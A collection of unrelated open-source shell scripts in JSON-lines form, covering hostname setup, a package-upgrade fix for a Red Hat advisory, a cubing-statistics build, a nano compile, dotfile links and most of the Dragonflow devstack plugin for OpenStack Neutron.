Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\nif [ -e /etc/hostname ]; then\n old=`cat /etc/hostname`\nfi\ninterface=`ls /sys/class/net/e*/address | head -1`\nif [ -n $interface ] && [ -e $interface ]; then\n mac=`cat $interface`\n new=`echo $mac | sed s/:/-/g`\nelse\n new=`date +%s`\nfi\nhostnamectl set-hostname $new\nif [ -n \"$old\" ]; then\n sed -i \"s/ $old$/ $new/g\" /etc/hosts\nfi"} {"text": "<gh_stars>1-10\n#!/bin/sh\n# <NAME> - 2017\n#\n# Security fix for RHSA-2011:1434\n#\n# Security announcement date: 2011-11-08 11:58:25 UTC\n# Script generation date: 2017-01-01 21:13:30 UTC\n#\n# Operating System: Red Hat 5\n# Architecture: x86_64\n#\n# Vulnerable packages fix on version:\n# - acroread.i386:9.4.6-1.el5\n# - acroread-plugin.i386:9.4.6-1.el5\n#\n# Last versions recommanded by security team:\n# - acroread.i386:9.5.5-2.el5_10\n# - acroread-plugin.i386:9.5.5-2.el5_10\n#\n# CVE List:\n# - CVE-2011-2130\n# - CVE-2011-2134\n# - CVE-2011-2135\n# - CVE-2011-2136\n# - CVE-2011-2137\n# - CVE-2011-2138\n# - CVE-2011-2139\n# - CVE-2011-2140\n# - CVE-2011-2414\n# - CVE-2011-2415\n# - CVE-2011-2416\n# - CVE-2011-2417\n# - CVE-2011-2424\n# - CVE-2011-2425\n# - CVE-2011-2426\n# - CVE-2011-2427\n# - CVE-2011-2428\n# - CVE-2011-2429\n# - CVE-2011-2430\n# - CVE-2011-2431\n# - CVE-2011-2432\n# - CVE-2011-2433\n# - CVE-2011-2434\n# - CVE-2011-2435\n# - CVE-2011-2436\n# - CVE-2011-2437\n# - CVE-2011-2438\n# - CVE-2011-2439\n# - CVE-2011-2440\n# - CVE-2011-2442\n# - CVE-2011-2444\n#\n# More details:\n# - https://www.cyberwatch.fr/vulnerabilites\n#\n# Licence: Released under The MIT License (MIT), See LICENSE FILE\nsudo yum install acroread.i386-9.5.5 -y \nsudo yum install acroread-plugin.i386-9.5.5 -y"} {"text": "#!/bin/bash\ncd src/ && corebuild -use-menhir parser.mlicorebuild -use-menhir parser.mli"} {"text": "<filename>run.sh\n#!/bin/bash\n\nexport_file=\"WCA_export.tsv.zip\"\nexport_folder=\"WCA_export\"\nordered_file=\"WCA_export/WCA_export_Results_Ordered.tsv\"\ndownload=false\n\n# First we check if the file exists.\nif [ -f $export_file ]; then\n one_week=$(date -d 'now - 7 days' +%s) # export older than 1 week is suggested to be replaced\n date_of_export=$(date -r \"$export_file\" +%s)\n \n if (( date_of_export <= one_week )); then # Here we check how old the export is.\n echo \"$export_file is older than 7 days.\"\n echo \"Cleaning old data.\"\n \n rm $export_file;\n download=true;\n \n if [ -d \"$export_folder\" ]; then\n rm -rR \"$export_folder\"\n fi\n else\n echo \"$export_file is up to date.\"\n fi\nelse\n download=true;\nfi\n\nif [ \"$download\" = true ]; then\n echo \"Downloading the latest export.\"\n wget -q https://www.worldcubeassociation.org/results/misc/WCA_export.tsv.zip\nfi\n\nif [ ! -f $export_file ]; then\n echo \"There was an error while downloading.\";\n exit;\nelse\n\n order=false;\n if [ ! -d \"$export_folder\" ] || [ \"$download\" = true ]; then\n echo \"Extracting $export_file\"\n unzip \"$export_file\" -d \"$export_folder\"\n\n order=true;\n fi\n \n if [ ! -f \"$ordered_file\" ] || [ \"$order\" = true ]; then\n echo \"Sorting results...\"\n python3 src/create_sorted_tsv_with_date.py\n fi\n \n # delete possible existing pages\n if [ -d pages ]; then\n for f in $(ls pages); do\n rm pages/$f\n done\n else\n mkdir pages\n fi\n \n cp img/favicon.ico pages/favicon.ico\n cp img/cover.png pages/cover.png\n\n echo \"Running setup\"\n python3 setup.py\n \n echo \"Computing statistics...\"\n for f in $(ls src |grep stat*); do\n echo $f\n python3 src/$f page=true\n done\n echo \"Computing done.\"\n \n python3 src/index.py\n python3 src/about.py\n echo \"Open pages/index.html for a complete view.\"\nfi"} {"text": "<reponame>rvause/ish-bins<filename>scripts/nano.sh\n#!/usr/bin/env ash\nset -euox pipefail\n\nVERSION=$1\n\nrm -rf tmp\nmkdir tmp\ncd tmp\ncurl -O https://www.nano-editor.org/dist/v5/nano-$VERSION.tar.gz\ntar xf nano-$VERSION.tar.gz\ncd nano-$VERSION\n./configure \\\n --disable-browser \\\n --disable-extra \\\n --disable-help \\\n --disable-justify \\\n --disable-mouse \\\n --disable-speller \\\n --disable-wrapping \\\n --disable-nls \\\n --enable-utf8\nmake\nmkdir -p ../../dist\ncp src/nano ../../dist/\ncd ../../\nxz -zf dist/nano\nmv dist/nano.xz dist/nano-$VERSION.xz\nrm -rf tmp"} {"text": "#!/bin/bash\n#\n# Set up symlinks and configs for config-manager\n\nCONFIG_DIR=$HOME/.config\nmkdir -p $CONFIG_DIR\n\nBACKUP_CONFIGS_DIR=$PWD/backups/$(date '+%d-%b-%Y-%s')\nmkdir -p $BACKUP_CONFIGS_DIR\n\n# zsh\nmv $HOME/.zshrc $BACKUP_CONFIGS_DIR\nln -fsn $PWD/zsh/.zshrc $HOME/.zshrc\n\n# neovim\nmv $HOME/.config/nvim $BACKUP_CONFIGS_DIR\nln -fsn $PWD/nvim $HOME/.config\nmv $HOME/.vimrc $BACKUP_CONFIGS_DIR\nln -fsn $HOME/.config/nvim/init.vim $HOME/.vimrc\n\n# alacritty\nmv $HOME/.config/alacritty $BACKUP_CONFIGS_DIR\nln -fsn $PWD/alacritty $HOME/.config\n\nmv $HOME/.config/starship.toml $BACKUP_CONFIGS_DIR\nln -fsn $PWD/starship.toml $CONFIG_DIR/starship.toml\n\n# tmux\nmv $HOME/.tmux $BACKUP_CONFIGS_DIR\nmkdir -p $HOME/.tmux\nln -fsn $PWD/tmux/plugins $HOME/.tmux/plugins\nmv $HOME/.tmux.conf $BACKUP_CONFIGS_DIR\nln -fsn $PWD/tmux/.tmux.conf $HOME"} {"text": "<gh_stars>0\n#!/usr/bin/env sh\nset -e\nSCALA_VERSION=${SCALA_VERSION:-2.13.1}\n\nsbt ++$SCALA_VERSION \\\ngrpcRuntime/mimaReportBinaryIssues \\\nlensesJVM/mimaReportBinaryIssues \\\nruntimeJVM/mimaReportBinaryIssues \\\ncompilerPlugin/mimaReportBinaryIssues"} {"text": "<gh_stars>1-10\n#!/bin/bash\necho ===== onstart.sh\necho ===== PID: $PERF_TARGET_PID"} {"text": "<filename>scripts/update_blacklist.sh<gh_stars>1-10\n#!/usr/bin/env bash\n\nwget -O ../latest_blacklist.txt https://myip.ms/files/blacklist/general/latest_blacklist.txt"} {"text": "<reponame>qianyuqiao/dragonflow<filename>devstack/plugin.sh\n#@IgnoreInspection BashAddShebang\n# dragonflow.sh - Devstack extras script to install Dragonflow\n\n# Enable DPDK for Open vSwitch user space datapath\nENABLE_DPDK=${ENABLE_DPDK:-False}\nDPDK_NUM_OF_HUGEPAGES=${DPDK_NUM_OF_HUGEPAGES:-1024}\nDPDK_BIND_DRIVER=${DPDK_BIND_DRIVER:-igb_uio}\nDPDK_NIC_NAME=${DPDK_NIC_NAME:-eth1}\n\n# The git repo to use\nOVS_REPO=${OVS_REPO:-https://github.com/openvswitch/ovs.git}\nOVS_REPO_NAME=$(basename ${OVS_REPO} | cut -f1 -d'.')\n\n# The branch to use from $OVS_REPO\nOVS_BRANCH=${OVS_BRANCH:-branch-2.6}\n\n# Set empty EXTERNAL_HOST_IP\nEXTERNAL_HOST_IP=${EXTERNAL_HOST_IP:-}\n\nDEFAULT_TUNNEL_TYPES=\"vxlan,geneve,gre\"\nDEFAULT_APPS_LIST=\"portbinding,l2,l3_proactive,dhcp,dnat,sg,portqos,classifier,tunneling,provider\"\n\nif [[ $ENABLE_DF_SFC == \"True\" ]]; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,fc,sfc\"\nfi\n\nif is_service_enabled df-metadata ; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,metadata_service\"\nfi\n\nif is_service_enabled q-trunk ; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,trunk\"\nfi\n\nENABLE_ACTIVE_DETECTION=${ENABLE_ACTIVE_DETECTION:-True}\nif [[ \"$ENABLE_ACTIVE_DETECTION\" == \"True\" ]]; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,active_port_detection\"\nfi\n\nENABLE_LIVE_MIGRATION=${ENABLE_LIVE_MIGRATION:-True}\nif [[ \"$ENABLE_LIVE_MIGRATION\" == \"True\" ]]; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,migration\"\nfi\n\nif [[ ! -z ${EXTERNAL_HOST_IP} ]]; then\n DEFAULT_APPS_LIST=\"$DEFAULT_APPS_LIST,chassis_snat\"\nfi\n\nENABLED_AGING_APP=${ENABLE_AGING_APP:-True}\nif [[ \"$ENABLE_AGING_APP\" == \"True\" ]]; then\n DEFAULT_APPS_LIST=\"aging,$DEFAULT_APPS_LIST\"\nfi\n\nif is_service_enabled df-skydive ; then\n SKYDIVE_ENDPOINT=${SKYDIVE_ENDPOINT:-$SERVICE_HOST:8082}\nfi\n\nDF_APPS_LIST=${DF_APPS_LIST:-$DEFAULT_APPS_LIST}\nTUNNEL_TYPES=${TUNNEL_TYPE:-$DEFAULT_TUNNEL_TYPES}\n\n# OVS related pid files\n#----------------------\nOVS_DB_SERVICE=\"ovsdb-server\"\nOVS_VSWITCHD_SERVICE=\"ovs-vswitchd\"\nOVS_DIR=\"/var/run/openvswitch\"\nOVS_DB_PID=$OVS_DIR\"/\"$OVS_DB_SERVICE\".pid\"\nOVS_VSWITCHD_PID=$OVS_DIR\"/\"$OVS_VSWITCHD_SERVICE\".pid\"\nOVS_VSWITCH_OCSSCHEMA_FILE=${OVS_VSWITCH_OCSSCHEMA_FILE:-\"/usr/share/openvswitch/vswitch.ovsschema\"}\n\n# Neutron notifier\nENABLE_NEUTRON_NOTIFIER=${ENABLE_NEUTRON_NOTIFIER:-\"False\"}\n\n# Set value of TUNNEL_ENDPOINT_IP if unset\nTUNNEL_ENDPOINT_IP=${TUNNEL_ENDPOINT_IP:-$HOST_IP}\n\nENABLE_DF_SFC=${ENABLE_DF_SFC:-\"False\"}\nif [[ $ENABLE_DF_SFC == \"True\" ]]; then\n NEUTRON_SFC_DRIVERS=dragonflow\n NEUTRON_FLOWCLASSIFIER_DRIVERS=dragonflow\nfi\n\nACTION=$1\nSTAGE=$2\n\n# Pluggable DB drivers\n#----------------------\nfunction is_df_db_driver_selected {\n if [[ \"$ACTION\" == \"stack\" && \"$STAGE\" == \"pre-install\" ]]; then\n test -n \"$NB_DRIVER_CLASS\"\n return $?\n fi\n return 1\n}\n\nif is_service_enabled df-etcd ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/etcd_driver\n NB_DRIVER_CLASS=\"etcd_nb_db_driver\"\n REMOTE_DB_PORT=${REMOTE_DB_PORT:-2379}\nfi\nif is_service_enabled df-ramcloud ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/ramcloud_driver\n NB_DRIVER_CLASS=\"ramcloud_nb_db_driver\"\nfi\nif is_service_enabled df-zookeeper ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/zookeeper_driver\n NB_DRIVER_CLASS=\"zookeeper_nb_db_driver\"\nfi\n\nif is_service_enabled df-cassandra ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/cassandra_driver\n NB_DRIVER_CLASS=\"cassandra_nb_db_driver\"\nfi\n\nif is_service_enabled df-rethinkdb ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/rethinkdb_driver\n NB_DRIVER_CLASS=\"rethinkdb_nb_db_driver\"\nfi\n\nif is_service_enabled df-redis ; then\n is_df_db_driver_selected && die $LINENO \"More than one database service is set for Dragonflow.\"\n source $DEST/dragonflow/devstack/redis_driver\n NB_DRIVER_CLASS=\"redis_nb_db_driver\"\n DF_REDIS_PUBSUB=${DF_REDIS_PUBSUB:-\"True\"}\nelse\n DF_REDIS_PUBSUB=\"False\"\nfi\n\n# How to connect to the database storing the virtual topology.\nREMOTE_DB_IP=${REMOTE_DB_IP:-$HOST_IP}\nREMOTE_DB_PORT=${REMOTE_DB_PORT:-4001}\nREMOTE_DB_HOSTS=${REMOTE_DB_HOSTS:-\"$REMOTE_DB_IP:$REMOTE_DB_PORT\"}\n\n# As the function returns actual value only on pre-install, ignore it on later stages\nif [[ \"$ACTION\" == \"stack\" && \"$STAGE\" == \"pre-install\" ]]; then\n is_df_db_driver_selected || die $LINENO \"No database service is set for Dragonflow.\"\nfi\n\n# Pub/Sub Service\n#----------------\n# To be called to initialise params common to all pubsub drivers\nfunction init_pubsub {\n DF_PUB_SUB=\"True\"\n}\n\nif is_service_enabled df-zmq-publisher-service ; then\n init_pubsub\n enable_service df-publisher-service\n source $DEST/dragonflow/devstack/zmq_pubsub_driver\nfi\n\nif is_service_enabled df-etcd-pubsub-service ; then\n init_pubsub\n source $DEST/dragonflow/devstack/etcd_pubsub_driver\nfi\n\nif [[ \"$DF_REDIS_PUBSUB\" == \"True\" ]]; then\n init_pubsub\n source $DEST/dragonflow/devstack/redis_pubsub_driver\nfi\n\n# Dragonflow installation uses functions from these files\nsource $TOP_DIR/lib/neutron_plugins/ovs_base\n\nif [[ \"$ENABLE_DPDK\" == \"True\" ]]; then\n source $DEST/dragonflow/devstack/ovs_dpdk_setup.sh\nelse\n source $DEST/dragonflow/devstack/ovs_setup.sh\nfi\n\n# Entry Points\n# ------------\n\nfunction configure_df_metadata_service {\n if is_service_enabled df-metadata ; then\n NOVA_CONF=${NOVA_CONF:-\"/etc/nova/nova.conf\"}\n iniset $NOVA_CONF neutron service_metadata_proxy True\n iniset $NOVA_CONF neutron metadata_proxy_shared_secret $METADATA_PROXY_SHARED_SECRET\n iniset $NEUTRON_CONF DEFAULT metadata_proxy_shared_secret $METADATA_PROXY_SHARED_SECRET\n iniset $DRAGONFLOW_CONF df_metadata ip \"$DF_METADATA_SERVICE_IP\"\n iniset $DRAGONFLOW_CONF df_metadata port \"$DF_METADATA_SERVICE_PORT\"\n iniset $DRAGONFLOW_CONF df_metadata metadata_interface \"$DF_METADATA_SERVICE_INTERFACE\"\n pushd $DRAGONFLOW_DIR\n # TODO(snapiri) When we add more switch backends, this should be conditional\n tools/ovs_metadata_service_deployment.sh install $INTEGRATION_BRIDGE $DF_METADATA_SERVICE_INTERFACE $DF_METADATA_SERVICE_IP $DF_METADATA_SERVICE_PORT\n popd\n fi\n}\n\nfunction configure_qos {\n Q_SERVICE_PLUGIN_CLASSES+=\",qos\"\n Q_ML2_PLUGIN_EXT_DRIVERS+=\",qos\"\n iniset /$Q_PLUGIN_CONF_FILE ml2 extension_drivers \"$Q_ML2_PLUGIN_EXT_DRIVERS\"\n}\n\nfunction configure_trunk {\n Q_SERVICE_PLUGIN_CLASSES+=\",trunk\"\n Q_ML2_PLUGIN_EXT_DRIVERS+=\",trunk\"\n iniset /$Q_PLUGIN_CONF_FILE ml2 extension_drivers \"$Q_ML2_PLUGIN_EXT_DRIVERS\"\n}\n\nfunction configure_bgp {\n setup_develop $DEST/neutron-dynamic-routing\n _neutron_service_plugin_class_add df-bgp\n # Since we are using a plugin outside neutron-dynamic-routing, we need to\n # specify api_extensions_path explicitly.\n iniset $NEUTRON_CONF DEFAULT api_extensions_path \"$DEST/neutron-dynamic-routing/neutron_dynamic_routing/extensions\"\n}\n\nfunction configure_sfc {\n setup_develop $DEST/networking-sfc\n}\n\nfunction init_neutron_sample_config {\n # NOTE: We must make sure that neutron config file exists before\n # going further with ovs setup\n if [ ! -f $NEUTRON_CONF ] ; then\n sudo install -d -o $STACK_USER $NEUTRON_CONF_DIR\n pushd $NEUTRON_DIR\n tools/generate_config_file_samples.sh\n popd\n cp $NEUTRON_DIR/etc/neutron.conf.sample $NEUTRON_CONF\n fi\n}\n\nfunction configure_df_skydive {\n iniset $DRAGONFLOW_CONF df_skydive analyzer_endpoint \"$SKYDIVE_ENDPOINT\"\n if [[ -n \"$DF_SKYDIVE_USER\" ]]; then\n iniset $DRAGONFLOW_CONF df_skydive user \"$DF_SKYDIVE_USER\"\n fi\n local DF_SKYDIVE_PASSWORD=${DF_SKYDIVE_PASSWORD:-$<PASSWORD>}\n iniset $DRAGONFLOW_CONF df_skydive password \"$<PASSWORD>\"\n if [[ -n \"$DF_SKYDIVE_UPDATE_INTERVAL\" ]]; then\n iniset $DRAGONFLOW_CONF df_skydive update_interval \"$DF_SKYDIVE_UPDATE_INTERVAL\"\n fi\n}\n\n\nfunction configure_df_plugin {\n echo \"Configuring Neutron for Dragonflow\"\n\n # Generate DF config file\n pushd $DRAGONFLOW_DIR\n tools/generate_config_file_samples.sh\n popd\n mkdir -p $Q_PLUGIN_EXTRA_CONF_PATH\n sudo mkdir -p /var/run/dragonflow\n sudo chown $STACK_USER /var/run/dragonflow\n cp $DRAGONFLOW_DIR/etc/dragonflow.ini.sample $DRAGONFLOW_CONF\n cp $DRAGONFLOW_DIR/etc/dragonflow_datapath_layout.yaml $DRAGONFLOW_DATAPATH\n\n if is_service_enabled q-svc ; then\n if is_service_enabled q-qos ; then\n configure_qos\n fi\n\n if [[ \"$DR_MODE\" == \"df-bgp\" ]]; then\n configure_bgp\n fi\n\n if is_service_enabled q-trunk ; then\n configure_trunk\n fi\n\n if [[ \"$ENABLE_DF_SFC\" == \"True\" ]]; then\n configure_sfc\n fi\n\n # NOTE(gsagie) needed for tempest\n export NETWORK_API_EXTENSIONS=$(python -c \\\n 'from dragonflow.common import extensions ;\\\n print \",\".join(extensions.SUPPORTED_API_EXTENSIONS)')\n\n # Set netron-server related settings\n iniset $DRAGONFLOW_CONF df monitor_table_poll_time \"$DF_MONITOR_TABLE_POLL_TIME\"\n iniset $DRAGONFLOW_CONF df publisher_rate_limit_timeout \"$PUBLISHER_RATE_LIMIT_TIMEOUT\"\n iniset $DRAGONFLOW_CONF df publisher_rate_limit_count \"$PUBLISHER_RATE_LIMIT_COUNT\"\n iniset $NEUTRON_CONF DEFAULT core_plugin \"$Q_PLUGIN_CLASS\"\n iniset $NEUTRON_CONF DEFAULT service_plugins \"$Q_SERVICE_PLUGIN_CLASSES\"\n\n iniset $DRAGONFLOW_CONF df auto_detect_port_behind_port \"$DF_AUTO_DETECT_PORT_BEHIND_PORT\"\n iniset $DRAGONFLOW_CONF df_loadbalancer auto_enable_vip_ports \"$DF_LBAAS_AUTO_ENABLE_VIP_PORTS\"\n\n if is_service_enabled q-dhcp ; then\n iniset $DRAGONFLOW_CONF df use_centralized_ipv6_DHCP \"True\"\n else\n iniset $NEUTRON_CONF DEFAULT dhcp_agent_notification \"False\"\n fi\n\n if [[ \"$DF_RUNNING_IN_GATE\" == \"True\" ]]; then\n iniset $NEUTRON_CONF quotas default_quota \"-1\"\n iniset $NEUTRON_CONF quotas quota_network \"-1\"\n iniset $NEUTRON_CONF quotas quota_subnet \"-1\"\n iniset $NEUTRON_CONF quotas quota_port \"-1\"\n iniset $NEUTRON_CONF quotas quota_router \"-1\"\n iniset $NEUTRON_CONF quotas quota_floatingip \"-1\"\n iniset $NEUTRON_CONF quotas quota_security_group_rule \"-1\"\n fi\n\n # load dragonflow.ini into neutron-server\n neutron_server_config_add_new $DRAGONFLOW_CONF\n fi\n\n iniset $DRAGONFLOW_CONF df remote_db_hosts \"$REMOTE_DB_HOSTS\"\n iniset $DRAGONFLOW_CONF df nb_db_class \"$NB_DRIVER_CLASS\"\n iniset $DRAGONFLOW_CONF df enable_neutron_notifier \"$ENABLE_NEUTRON_NOTIFIER\"\n iniset $DRAGONFLOW_CONF df enable_dpdk \"$ENABLE_DPDK\"\n iniset $DRAGONFLOW_CONF df management_ip \"$HOST_IP\"\n iniset $DRAGONFLOW_CONF df local_ip \"$TUNNEL_ENDPOINT_IP\"\n iniset $DRAGONFLOW_CONF df tunnel_types \"$TUNNEL_TYPES\"\n iniset $DRAGONFLOW_CONF df integration_bridge \"$INTEGRATION_BRIDGE\"\n iniset $DRAGONFLOW_CONF df apps_list \"$DF_APPS_LIST\"\n iniset $DRAGONFLOW_CONF df_l2_app l2_responder \"$DF_L2_RESPONDER\"\n iniset $DRAGONFLOW_CONF df enable_df_pub_sub \"$DF_PUB_SUB\"\n iniset $DRAGONFLOW_CONF df_zmq ipc_socket \"$DF_ZMQ_IPC_SOCKET\"\n if [[ ! -z ${EXTERNAL_HOST_IP} ]]; then\n iniset $DRAGONFLOW_CONF df external_host_ip \"$EXTERNAL_HOST_IP\"\n iniset $DRAGONFLOW_CONF df_snat_app external_network_bridge \"$PUBLIC_BRIDGE\"\n fi\n\n iniset $DRAGONFLOW_CONF df enable_selective_topology_distribution \\\n \"$DF_SELECTIVE_TOPO_DIST\"\n configure_df_metadata_service\n\n if is_service_enabled df-skydive ; then\n configure_df_skydive\n fi\n}\n\nfunction install_zeromq {\n if is_fedora; then\n install_package zeromq\n elif is_ubuntu; then\n install_package libzmq3-dev\n elif is_suse; then\n install_package libzmq3-dev\n fi\n # Necessary directory for socket location.\n sudo mkdir -p /var/run/openstack\n sudo chown $STACK_USER /var/run/openstack\n}\n\nfunction install_df {\n install_zeromq\n\n if function_exists nb_db_driver_install_server; then\n nb_db_driver_install_server\n fi\n\n if function_exists nb_db_driver_install_client; then\n nb_db_driver_install_client\n fi\n\n setup_package $DRAGONFLOW_DIR\n}\n\n# The following returns \"0\" when service is live.\n# Zero (0) is considered a TRUE value in bash.\nfunction ovs_service_status\n{\n TEMP_PID=$OVS_DIR\"/\"$1\".pid\"\n if [ -e $TEMP_PID ]\n then\n TEMP_PID_VALUE=$(cat $TEMP_PID 2>/dev/null)\n if [ -e /proc/$TEMP_PID_VALUE ]\n then\n return 0\n fi\n fi\n # service is dead\n return 1\n}\n\nfunction is_module_loaded {\n return $(lsmod | grep -q $1)\n}\n\nfunction load_module_if_not_loaded {\n local module=$1\n local fatal=$2\n\n if is_module_loaded $module; then\n echo \"Module already loaded: $module\"\n else\n if [ \"$(trueorfalse True fatal)\" == \"True\" ]; then\n sudo modprobe $module || (die $LINENO \"FAILED TO LOAD $module\")\n else\n sudo modprobe $module || (echo \"FAILED TO LOAD $module\")\n fi\n fi\n}\n\nfunction unload_module_if_loaded {\n local module=$1\n\n if is_module_loaded $module; then\n sudo rmmod $module || (die $LINENO \"FAILED TO UNLOAD $module\")\n else\n echo \"Module is not loaded: $module\"\n fi\n}\n\n# cleanup_nb_db() - Clean all the keys in the northbound database\nfunction cleanup_nb_db {\n # clean db only on the master node\n if is_service_enabled q-svc ; then\n if [[ \"$DF_Q_SVC_MASTER\" == \"True\" ]]; then\n df-db clean\n fi\n fi\n}\n\n# init_nb_db() - Create all the tables in northbound database\nfunction init_nb_db {\n # init db only on the master node\n if is_service_enabled q-svc ; then\n if [[ \"$DF_Q_SVC_MASTER\" == \"True\" ]]; then\n df-db init\n fi\n fi\n}\n\n# drop_nb_db() - Drop all the tables in northbound database\nfunction drop_nb_db {\n # drop db only on the master node\n if is_service_enabled q-svc ; then\n if [[ \"$DF_Q_SVC_MASTER\" == \"True\" ]]; then\n df-db dropall\n fi\n fi\n}\n\n# start_df() - Start running processes, including screen\nfunction start_df {\n echo \"Starting Dragonflow\"\n\n if is_service_enabled df-controller ; then\n sudo ovs-vsctl --no-wait set-controller $INTEGRATION_BRIDGE tcp:127.0.0.1:6633\n run_process df-controller \"$DF_LOCAL_CONTROLLER_BINARY --config-file $NEUTRON_CONF --config-file $DRAGONFLOW_CONF\"\n fi\n}\n\n# stop_df() - Stop running processes (non-screen)\nfunction stop_df {\n if is_service_enabled df-controller ; then\n stop_process df-controller\n fi\n\n cleanup_nb_db\n drop_nb_db\n\n if function_exists nb_db_driver_stop_server; then\n nb_db_driver_stop_server\n fi\n}\n\nfunction disable_libvirt_apparmor {\n if ! sudo aa-status --enabled ; then\n return 0\n fi\n # NOTE(arosen): This is used as a work around to allow newer versions\n # of libvirt to work with ovs configured ports. See LP#1466631.\n # requires the apparmor-utils\n install_package apparmor-utils\n # disables apparmor for libvirtd\n sudo aa-complain /etc/apparmor.d/usr.sbin.libvirtd\n}\n\nfunction verify_os_ken_version {\n # Verify os_ken is installed. Version greater than 0.3.0. Does not return\n # on failure.\n OS_KEN_VER_LINE=`osken --version 2>&1 | head -n 1`\n OS_KEN_VER=`echo $OS_KEN_VER_LINE | cut -d' ' -f2`\n echo \"Found os_ken version $OS_KEN_VER ($OS_KEN_VER_LINE)\"\n if [ `vercmp_numbers \"$OS_KEN_VER\" \"0.3.0\"` -lt 0 ]; then\n die $LINENO \"os_ken version $OS_KEN_VER too low. Version 0.3.0+ is required for Dragonflow.\"\n fi\n}\n\nfunction start_pubsub_service {\n if is_service_enabled df-publisher-service ; then\n echo \"Starting Dragonflow publisher service\"\n run_process df-publisher-service \"$DF_PUBLISHER_SERVICE_BINARY --config-file $NEUTRON_CONF --config-file $DRAGONFLOW_CONF --config-file $DRAGONFLOW_PUBLISHER_CONF\"\n fi\n}\n\nfunction stop_pubsub_service {\n if is_service_enabled df-publisher-service ; then\n stop_process df-publisher-service\n fi\n}\n\nfunction start_df_metadata_agent {\n if is_service_enabled df-metadata ; then\n echo \"Starting Dragonflow metadata service\"\n run_process df-metadata \"$DF_METADATA_SERVICE --config-file $NEUTRON_CONF --config-file $DRAGONFLOW_CONF\"\n fi\n}\n\nfunction stop_df_metadata_agent {\n if is_service_enabled df-metadata ; then\n echo \"Stopping Dragonflow metadata service\"\n stop_process df-metadata\n pushd $DRAGONFLOW_DIR\n # TODO(snapiri) When we add more switch backends, this should be conditional\n tools/ovs_metadata_service_deployment.sh remove $INTEGRATION_BRIDGE $DF_METADATA_SERVICE_INTERFACE\n popd\n fi\n}\n\nfunction start_df_bgp_service {\n if is_service_enabled df-bgp ; then\n echo \"Starting Dragonflow BGP dynamic routing service\"\n run_process df-bgp \"$DF_BGP_SERVICE --config-file $NEUTRON_CONF --config-file $DRAGONFLOW_CONF\"\n fi\n}\n\nfunction start_df_skydive {\n if is_service_enabled df-skydive ; then\n echo \"Starting Dragonflow skydive service\"\n run_process df-skydive \"$DF_SKYDIVE_SERVICE --config-file $NEUTRON_CONF --config-file $DRAGONFLOW_CONF\"\n fi\n}\n\nfunction stop_df_skydive {\n if is_service_enabled df-skydive ; then\n echo \"Stopping Dragonflow skydive service\"\n stop_process df-skydive\n fi\n}\n\nfunction setup_rootwrap_filters {\n if [[ \"$DF_INSTALL_DEBUG_ROOTWRAP_CONF\" == \"True\" ]]; then\n echo \"Adding rootwrap filters\"\n sudo mkdir -p -m 755 $NEUTRON_CONF_DIR/etc/rootwrap.d\n sudo cp -p $DRAGONFLOW_DIR/etc/rootwrap.d/* $NEUTRON_CONF_DIR/etc/rootwrap.d\n fi\n}\n\nfunction stop_df_bgp_service {\n if is_service_enabled df-bgp ; then\n echo \"Stopping Dragonflow BGP dynamic routing service\"\n stop_process df-bgp\n fi\n}\n\nfunction handle_df_stack_install {\n if [[ \"$OFFLINE\" != \"True\" ]]; then\n if ! is_neutron_enabled ; then\n install_neutron\n fi\n install_df\n if [[ \"$DF_REINSTALL_OVS\" == \"True\" ]]; then\n install_ovs\n fi\n fi\n setup_develop $DRAGONFLOW_DIR\n if [[ \"$DF_REINSTALL_OVS\" == \"True\" ]]; then\n init_ovs\n # We have to start at install time, because Neutron's post-config\n # phase runs ovs-vsctl.\n start_ovs\n fi\n if function_exists nb_db_driver_start_server; then\n nb_db_driver_start_server\n fi\n disable_libvirt_apparmor\n}\n\nfunction handle_df_stack_post_install {\n init_neutron_sample_config\n configure_ovs\n configure_df_plugin\n # configure nb db driver\n if function_exists nb_db_driver_configure; then\n nb_db_driver_configure\n fi\n # initialize the nb db\n init_nb_db\n\n if [[ \"$DF_PUB_SUB\" == \"True\" ]]; then\n # Implemented by the pub/sub plugin\n configure_pubsub_service_plugin\n # Defaults, in case no Pub/Sub service was selected\n if [ -z $PUB_SUB_DRIVER ]; then\n die $LINENO \"pub-sub enabled, but no pub-sub driver selected\"\n fi\n fi\n\n if is_service_enabled nova; then\n configure_neutron_nova\n fi\n\n if is_service_enabled df-publisher-service; then\n start_pubsub_service\n fi\n\n start_df\n start_df_metadata_agent\n start_df_bgp_service\n setup_rootwrap_filters\n start_df_skydive\n install_package jq\n}\n\nfunction handle_df_stack {\n if [[ \"$STAGE\" == \"install\" ]]; then\n handle_df_stack_install\n elif [[ \"$STAGE\" == \"post-config\" ]]; then\n handle_df_stack_post_install\n fi\n}\n\nfunction handle_df_unstack {\n stop_df_skydive\n stop_df_bgp_service\n stop_df_metadata_agent\n stop_df\n if function_exists nb_db_driver_clean; then\n nb_db_driver_clean\n fi\n if [[ \"$DF_REINSTALL_OVS\" == \"True\" ]]; then\n cleanup_ovs\n stop_ovs\n uninstall_ovs\n fi\n if is_service_enabled df-publisher-service; then\n stop_pubsub_service\n fi\n}\n\n\n# main loop\nif [[ \"$Q_ENABLE_DRAGONFLOW_LOCAL_CONTROLLER\" == \"True\" ]]; then\n\n if is_plugin_enabled octavia; then\n # Only define this function if dragonflow is used\n function octavia_create_network_interface_device {\n INTERFACE=$1\n 